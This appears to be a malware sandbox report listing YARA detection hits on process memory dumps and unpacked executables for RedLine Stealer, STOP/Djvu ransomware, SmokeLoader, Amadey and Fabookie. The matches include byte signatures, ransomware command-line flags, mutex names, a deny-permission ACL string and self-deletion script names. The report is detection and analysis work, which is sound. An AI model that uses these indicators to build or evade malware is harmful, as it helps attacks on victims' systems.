00000013.00000002.797455681.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 8F 88 44 24 2B 88 44 24 2F B0 12 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000023.00000002.798494824.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000027.00000002.692618909.0000000004090000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000027.00000002.692618909.0000000004090000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000023.00000002.798494824.0000000001473000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
0000001E.00000003.710446992.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
00000016.00000002.676645337.0000000002460000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000013.00000002.808719162.0000000005485000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000016.00000002.678331405.0000000003F91000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.678331405.0000000003F91000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000004.00000002.633138123.0000000002360000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.633138123.0000000002360000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x7d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001E.00000003.760432477.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
00000013.00000002.799330490.0000000003E60000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000002.799330490.0000000003E60000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000017.00000002.677830115.00000000040E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000017.00000002.677830115.00000000040E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000004.00000002.634169410.0000000003F81000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.634169410.0000000003F81000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.565053252.0000000002590000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.565053252.0000000002590000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x7d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.628268073.0000000004038000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000003.779253254.00000000007DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
00000027.00000002.692310620.0000000003FD0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000011.00000002.660308358.0000000004070000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000003.758717400.00000000007DD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
00000013.00000002.804824632.0000000004565000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000009.00000002.636971935.0000000004007000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.566378652.00000000025B1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.566378652.00000000025B1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001E.00000003.721920559.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
0000001E.00000003.756307627.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
00000023.00000000.673547711.00000000003D1000.00000020.00000001.01000000.0000001B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.632842121.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000002.632842121.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000008.00000002.632842121.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001E.00000003.753492688.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
0000001E.00000003.780638526.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
00000019.00000002.733202307.0000000002390000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000024.00000002.702688387.0000000004050000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000024.00000002.702688387.0000000004050000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000013.00000002.798554583.0000000002458000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x15e8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.566464697.000000000263A000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x5c5e:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000003.752240800.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
00000014.00000002.668807401.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000014.00000002.668807401.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000014.00000002.668807401.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000020.00000002.673885318.0000000000EA1000.00000020.00000001.01000000.00000016.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.800317816.00000000042C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000002.800317816.00000000042C0000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x25616:$pat14: , CommandLine: 0x1d621:$v2_1: ListOfProcesses 0x1bb1b:$v4_3: base64str 0x1bada:$v4_4: stringKey 0x1bb25:$v4_5: BytesToStringConverted 0x1bb10:$v4_6: FromBase64 0x1d3d7:$v4_8: procName
0000000D.00000002.757206210.0000000004280000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000D.00000002.757206210.0000000004280000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000016.00000002.678257505.00000000025C9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x5f54:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000003.750189516.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
00000012.00000002.661077673.0000000004025000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000003.750357522.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
00000007.00000002.631952824.00000000040E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.631952824.00000000040E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001A.00000002.704160314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000001A.00000002.704160314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000001A.00000002.704160314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.564952792.0000000002530000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000023.00000002.797297534.00000000003D1000.00000020.00000001.01000000.0000001B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.659211500.0000000002470000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000002.631348462.000000000403E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000020.00000000.668516085.0000000000EA1000.00000020.00000001.01000000.00000016.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000002.660447240.0000000004110000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000011.00000002.660447240.0000000004110000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000004.00000002.633423199.0000000002388000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x5d1e:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000003.654257669.0000000003FF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000003.654257669.0000000003FF0000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 8F 88 44 24 2B 88 44 24 2F B0 12 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000018.00000002.735927343.0000000004155000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000002.664889284.0000000004100000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000012.00000002.664889284.0000000004100000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000002.637137314.00000000040A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000002.637137314.00000000040A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Process Memory Space: D5C1.exe PID: 6912	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: D5C1.exe PID: 6912	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4b952:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: D5C1.exe PID: 6964	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: D5C1.exe PID: 6964	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x41176:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 4FC4.exe PID: 7024	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 4FC4.exe PID: 7024	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3b990:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 4FC4.exe PID: 3536	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 4FC4.exe PID: 3536	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x37178:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 4149.exe PID: 4132	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 4149.exe PID: 4132	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4cd25:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 4149.exe PID: 1900	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 4149.exe PID: 1900	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x325ac:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 4149.exe PID: 4588	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 4149.exe PID: 4588	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x48ff7:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 4149.exe PID: 5672	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 4149.exe PID: 5672	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x49a23:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: B666.exe PID: 6804	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: B666.exe PID: 6804	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x49a5f:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 2355.exe PID: 572	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: B666.exe PID: 4624	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: B666.exe PID: 4624	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x45034:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 4149.exe PID: 3720	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 4149.exe PID: 3720	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x364de:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 4149.exe PID: 5496	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 4149.exe PID: 5496	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x46bcd:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 4149.exe PID: 7004	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 4149.exe PID: 7004	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x48510:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: aafg31.exe PID: 6996	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
Process Memory Space: oneetx.exe PID: 4692	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
Click to see the 130 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
22.3.89DB.exe.2470000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
32.2.oldplayer.exe.ea0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
35.2.oneetx.exe.3d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.2355.exe.400000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.2355.exe.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 8F 88 44 24 2B 88 44 24 2F B0 12 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
19.3.2355.exe.3ff0000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.3.2355.exe.3ff0000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 8F 88 44 24 2B 88 44 24 2F B0 12 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
19.2.2355.exe.42c0000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
